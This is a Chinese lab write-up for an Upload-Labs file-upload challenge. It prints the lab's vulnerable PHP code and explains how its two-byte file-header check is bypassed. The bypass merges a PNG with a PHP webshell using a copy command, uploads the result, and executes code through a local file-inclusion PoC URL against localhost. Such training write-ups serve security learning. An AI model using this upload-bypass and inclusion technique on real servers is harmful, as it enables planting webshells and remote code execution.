读者可参考、订阅专栏:Upload-Labs靶场攻防实战
Antsword蚁剑
蚁剑工具的利用,操作可参考:
[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集
姿势
后端逻辑代码:
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传<code>图片马</code>到服务器。</p>
<p>注意:</p>
<p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code>或<code>webshell</code>代码。</p>
<p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
<p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关!</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
可知其检测了文件头信息,此时仅抓包修改文件后缀名不可绕过
故制作图片码
将1.php与1.png合并为shell.php即可
接着使用cmd命令将两者合并:
copy "C:\Users\YourUsername\Desktop\1.png" + "C:\Users\YourUsername\Desktop\1.php" "C:\Users\YourUsername\Desktop\shell.png"
需写出文件所在路径及期望得到的文件路径
成功得到shell.png
文件上传成功,打开图片链接:
http://localhost/upload-labs-master/upload/3520230816083607.png
接着利用文件包含漏洞来执行phpinfo:
POC如下:
http://localhost/upload-labs-master/include.php?file=upload/3520230816083607.png&1=phpinfo();
回显如下:
故文件包含、传参执行命令成功